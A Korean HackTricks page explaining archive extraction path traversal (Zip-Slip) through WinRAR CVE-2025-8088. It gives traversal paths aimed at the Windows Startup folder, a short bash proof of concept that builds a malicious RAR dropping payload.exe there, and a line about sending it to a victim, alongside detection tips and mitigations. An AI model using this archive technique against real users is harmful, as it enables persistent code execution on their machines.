Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

많은 아카이브 형식(ZIP, RAR, TAR, 7-ZIP 등)은 각 항목이 자체 내부 경로를 가질 수 있도록 허용합니다. 추출 유틸리티가 그 경로를 맹목적으로 존중할 경우, .. 또는 절대 경로(예: C:\Windows\System32\)를 포함한 조작된 파일 이름이 사용자가 선택한 디렉토리 외부에 기록됩니다. 이 유형의 취약점은 Zip-Slip 또는 아카이브 추출 경로 탐색으로 널리 알려져 있습니다.

결과는 임의의 파일을 덮어쓰는 것부터 Windows 시작 폴더와 같은 자동 실행 위치에 페이로드를 배치하여 **원격 코드 실행(RCE)**를 직접 달성하는 것까지 다양합니다.

근본 원인

  1. 공격자가 하나 이상의 파일 헤더에 다음을 포함하는 아카이브를 생성합니다:
  • 상대 탐색 시퀀스 (..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe)
  • 절대 경로 (C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe)
  1. 피해자가 내장된 경로를 신뢰하고 이를 정리하거나 선택한 디렉토리 아래로 강제 추출하지 않는 취약한 도구로 아카이브를 추출합니다.
  2. 파일이 공격자가 제어하는 위치에 기록되고 시스템이나 사용자가 해당 경로를 트리거할 때 다음에 실행/로드됩니다.

실제 사례 – WinRAR ≤ 7.12 (CVE-2025-8088)

Windows용 WinRAR(rar / unrar CLI, DLL 및 휴대용 소스 포함)는 추출 중 파일 이름을 검증하지 못했습니다. 다음과 같은 항목을 포함하는 악의적인 RAR 아카이브:

text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe

결과적으로 선택된 출력 디렉토리 외부에 위치하게 되고 사용자의 Startup 폴더 안에 있게 됩니다. Windows는 로그온 후 그곳에 있는 모든 것을 자동으로 실행하여 지속적인 RCE를 제공합니다.

PoC 아카이브 만들기 (Linux/Mac)

bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*

옵션 사용:

  • -ep – 파일 경로를 주어진 대로 정확하게 저장 (선행 ./제거하지 않음).

피해자에게 evil.rar를 전달하고 취약한 WinRAR 빌드로 추출하도록 지시합니다.

실제 관찰된 악용 사례

ESET는 CVE-2025-8088을 악용하여 맞춤형 백도어를 배포하고 랜섬웨어 작업을 촉진하는 RAR 아카이브를 첨부한 RomCom (Storm-0978/UNC2596) 스피어 피싱 캠페인을 보고했습니다.

탐지 팁

  • 정적 검사 – 아카이브 항목을 나열하고 ../, ..\\, 절대 경로 (C:) 또는 비정규 UTF-8/UTF-16 인코딩이 포함된 이름을 플래그합니다.
  • 샌드박스 추출안전한 추출기(예: Python의 patool, 7-Zip ≥ 최신, bsdtar)를 사용하여 일회용 디렉토리에 압축을 풀고 결과 경로가 디렉토리 내에 있는지 확인합니다.
  • 엔드포인트 모니터링 – WinRAR/7-Zip/etc.로 아카이브가 열린 직후 Startup/Run 위치에 새 실행 파일이 작성되면 경고합니다.

완화 및 강화

  1. 추출기 업데이트 – WinRAR 7.13은 적절한 경로 정리를 구현합니다. 사용자는 WinRAR에 자동 업데이트 메커니즘이 없기 때문에 수동으로 다운로드해야 합니다.
  2. 가능할 경우 “경로 무시” 옵션으로 아카이브를 추출합니다 (WinRAR: 추출 → "경로를 추출하지 않음").
  3. 신뢰할 수 없는 아카이브는 샌드박스 또는 VM 내에서 엽니다.
  4. 애플리케이션 화이트리스트를 구현하고 사용자 쓰기 액세스를 자동 실행 디렉토리로 제한합니다.

추가 영향을 받은 / 역사적 사례

  • 2018 – 많은 Java/Go/JS 라이브러리에 영향을 미친 Snyk의 대규모 Zip-Slip 권고.
  • 2023 – -ao 병합 중 유사한 탐색을 가진 7-Zip CVE-2023-4011.
  • 쓰기 전에 PathCanonicalize / realpath를 호출하지 않는 모든 사용자 정의 추출 논리.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기